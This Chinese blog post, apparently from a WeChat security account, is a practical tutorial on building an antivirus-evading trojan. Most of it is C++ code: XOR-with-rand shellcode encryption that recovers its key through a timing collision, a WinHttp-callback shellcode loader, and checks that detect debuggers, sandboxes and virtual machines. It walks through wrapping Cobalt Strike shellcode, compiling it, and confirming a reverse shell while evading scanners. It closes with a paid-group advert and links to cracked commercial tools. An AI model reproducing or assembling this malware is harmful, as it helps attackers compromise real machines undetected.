1 前言
2 效果图
3 前置知识
4 组合免杀马6 参考链接
01
02
这是新的效果图:
03
免杀马的实现就是将shellcode加密、shellcode加载器、反沙箱及编译器编译等几种技术组合在一起实现免杀。
shellcode加密有异或加密、base64加密、aes加密、自定义加解密等几种。异或加密和base64加密也就是最简单的加密,也就是最容易被查杀的两种加密在这里暂且不考虑,普通的自定义加解密也会被SecureAge、微软等逆推能力很强的杀软查杀。因为aes依赖外部库有bug,这里重新考虑自定义算法,不同的是这里要将自定义算法的密钥做一下转换简称——随机值时间碰撞解密大法。。。
下面是自定义的异或随机值加解密:
#include <iostream>using namespace std;
unsigned char* encrypt(unsigned char* input, int len, unsigned int key) {
unsigned char* output = new unsigned char[len];
srand(key);
for (int i = 0; i < len; i++) {
output[i] = input[i] ^ key;
output[i] = output[i] ^ (rand() % len + 1);
}
return output;
}unsigned char* decrypt(unsigned char* input, int len, unsigned int key) {
unsigned char* output = new unsigned char[len];
srand(key);
for (int i = 0; i < len; i++) {
output[i] = input[i] ^ (rand() % len + 1);
output[i] = output[i] ^ key;
}
return output;
}int main() {
unsigned char input[] = "Hello, World!";
unsigned int key = 123456;
int len = sizeof input - 1;cout << "Original message: " << input << endl;
unsigned char* encrypted = encrypt(input, len, key);
cout << "Encrypted message: ";
for (int i=0; i < len; i++)
printf("\\x%x", encrypted[i]);
cout << endl;unsigned char* decrypted = decrypt(encrypted, len, key);
cout << "Decrypted message: ";
for (int i = 0; i < len; i++)
printf("%c", decrypted[i]);delete[] encrypted;
delete[] decrypted;return 0;
}
具体加密过程:先异或加密再用key作为随机值种子生成随机数再异或加密。
后面关于key值的转换:
int i = 500;
while (i--) {
// 获取开始时间
auto start_time = chrono::high_resolution_clock::now();
// 延迟100毫秒
this_thread::sleep_for(chrono::milliseconds(100));
// 获取结束时间
auto end_time = chrono::high_resolution_clock::now();
// 计算时间差
auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);
srand(time(NULL));
// 密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数碰撞出原key
unsigned char* decrypted = decrypt(lpAddress, sizeof lpAddress - 1, 454430 + elapsed_time.count() + (rand() % 30));
if (decrypted[0] == 0xfc and decrypted[1] == 0x48) {
// shellcode loader// ......
break;
}
}
密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数重复500次保证碰撞出原key,再用if判断前两个字符是否与原shellcode相等,相等则加载shellcode,最后break退出循环。
由于加入了随机值和Sleep()及now()等这类计算时间的函数因此也具有反沙箱的效果,沙箱一般有加速时间的效果,这可能会导致Sleep及now()失效,导致无法碰撞出原key,关于反沙箱后面还会讲到。
前面讲了shellcode加解密,后面讲shellcode加载器。
最好用免杀更强的函数回调shellcode加载器,如http回调加载:
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib,"Winhttp.lib")unsigned char lpAddress[] = "\xfc...";
int main(INT argc, char* argv[]) {
DWORD lpflOldProtect;
VirtualProtect(lpAddress, sizeof lpAddress / sizeof lpAddress[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&lpAddress, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
WinHttpCloseHandle(hSession);
return 0;
}
g++编译命令:
g++ scl.cpp -o scl.exe -lwinhttp
shellcode加载器讲完,然后是反沙箱。反沙箱操作参考微信上的文章以及chargpt给出的代码,具体效果如何未知,不过微步的沙箱是通过了的。
(1)简单监测是否是被调试:
#include <Windows.h>
#include <iostream>using namespace std;
int main() {
if (IsDebuggerPresent()) {
cout << "调试器检测到当前程序" << endl;
return 1;
}BOOL bDebuggerPresent = FALSE;
if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) && bDebuggerPresent) {
cout << "远程调试器检测到当前程序" << endl;
return 1;
}if (GetSystemMetrics(SM_REMOTESESSION) != 0) {
cout << "当前程序正在远程桌面会话中" << endl;
return 1;
}return 0;
}
(2)监测时间流速:
#include <iostream>
#include <chrono>
#include <thread>
using namespace std;bool detect_sandbox() {
bool is_sandbox = false;
auto start_time = chrono::high_resolution_clock::now();this_thread::sleep_for(chrono::milliseconds(100));
auto end_time = chrono::high_resolution_clock::now();
auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);if (elapsed_time.count() < 100) {
is_sandbox = true;
}return is_sandbox;
}int main() {
if (detect_sandbox()) {
cout << "This program may be running in a sandbox!" << endl;
} else {
cout << "This program is not running in a sandbox." << endl;
}return 0;
}
沙箱一个都有时间加速,通过这段代码判断时间是否被加速来判断是否在沙箱。
下面是通过检测硬件来反虚拟化,利用虚拟机与真实物理机之间的差异来检测,这将导致无法在虚拟机中运行。
#include <Windows.h>
#include <iostream>
using namespace std;int GetNumPages() {
// 获取系统页面文件大小信息
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
if (!GlobalMemoryStatusEx(&statex)) {
cerr << "Failed to get system memory status." << endl;
return 1;
}SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
return statex.ullTotalPageFile / systemInfo.dwPageSize;
}int main() {
int numPages = GetNumPages();
cout << numPages << endl;
if (numPages < 4000000) {
cout << "内存页小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
#include <Windows.h>
#include <iostream>
using namespace std;int GetNumDrives() {
DWORD drives = GetLogicalDrives();
int numDrives = 0;
for (char i = 0; i < 26; i++) {
if (drives & (1 << i)) {
char path[4];
sprintf_s(path, "%c:\\", 'A' + i);
UINT type = GetDriveTypeA(path);
if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
numDrives++;
}
}
}
return numDrives;
}int main() {
int numDrives = GetNumDrives();
cout << numDrives << endl;
if (numDrives < 2) {
cout << "硬盘数量小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
#include <Windows.h>
#include <iostream>
using namespace std;int main() {
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
cout << systemInfo.dwNumberOfProcessors << endl;
if (systemInfo.dwNumberOfProcessors <= 4) {
cout << "CPU数量小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
#include <iostream>
#include <Winsock2.h>
#include <iphlpapi.h>
#include <windows.h>
using namespace std;
#pragma comment(lib, "iphlpapi.lib")int GetNumAdapters() {
DWORD dwSize = 0;
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, NULL, &dwSize);
PIP_ADAPTER_ADDRESSES pAddresses = (PIP_ADAPTER_ADDRESSES)new BYTE[dwSize];
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize);
int numAdapters = 0;
PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
while (pCurrAddresses) {
if (pCurrAddresses->OperStatus == IfOperStatusUp) {
numAdapters++;
}
pCurrAddresses = pCurrAddresses->Next;
}
return numAdapters;
}int main() {
int numAdapters = GetNumAdapters();
cout << numAdapters << endl;
if (numAdapters < 2) {
cout << "网络适配器数量小于正常值,可能处于虚拟机环境" << endl;
return 1;
}
return 0;
}
最后是编译器的选择也是重要的一点,有visual studio和g++,选择g++编译,g++编译比vs低两个数量,vs打包空exe在vt有3个报毒,使用g++是1个报毒,但是g++的缺点也很明显g++打包大小3m,vs打包大小20k。
04
将前面的几种技术组合在一起就是一个免杀马。
先从cs导出c语言的shellcode,用前面的自定义的异或随机值加解密。
复制前面16进制的代码到shelllcode加载器:
再复制前面的反沙箱代码到shellcode加载器:
key用随机值时间碰撞解密大法:
到这里免杀木马基本完成,测试以下能否反弹shell,用g++编译:
g++ scl.cpp -o scl.exe -lwinhttp -liphlpapi
在虚拟机中测试:
提示是这是虚拟机同时终止运行。
放主机上测试,主机上的360没有报毒:
放VT和微步就是前面的截图。
05
付费圈子
目前仅需70RMB一年,满1000人涨到99一年(目前进度495/1000)
价格只会越来越高
06
下载链接后台回复:20230219
另外有兄弟反映需要封面图?
后台回复文章推送日期加”封面“即可获取
(2022年十月五日前的文章没有)
例如今天为:20230219封面
07
漏扫工具Invicti-Professional-v23-1破解
fortify_sca_22.2-Windows-linux破解版
CS4.7汉化+修改指纹+加密流量+最新ladon9.2.5教程内附成品
windows10渗透虚拟机更新!帮助渗透新手快速搭建工作环境,工欲善其事,必先利其器。
AppScan_Standard_10.1.0中文永久破解版
github-cve-monitor——一款cve、大佬仓库、工具监控工具(文末成品直接使用)
08
本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
本工具来源于网络,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!
在安装并使用本工具前,请您务必审慎阅读、充分理解各条款内容,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
06
https://mp.weixin.qq.com/s/6bCdeCP-L9YHXfabzozwZQ
https://mp.weixin.qq.com/s/hATwflcVvA4JeIljP1nE1Q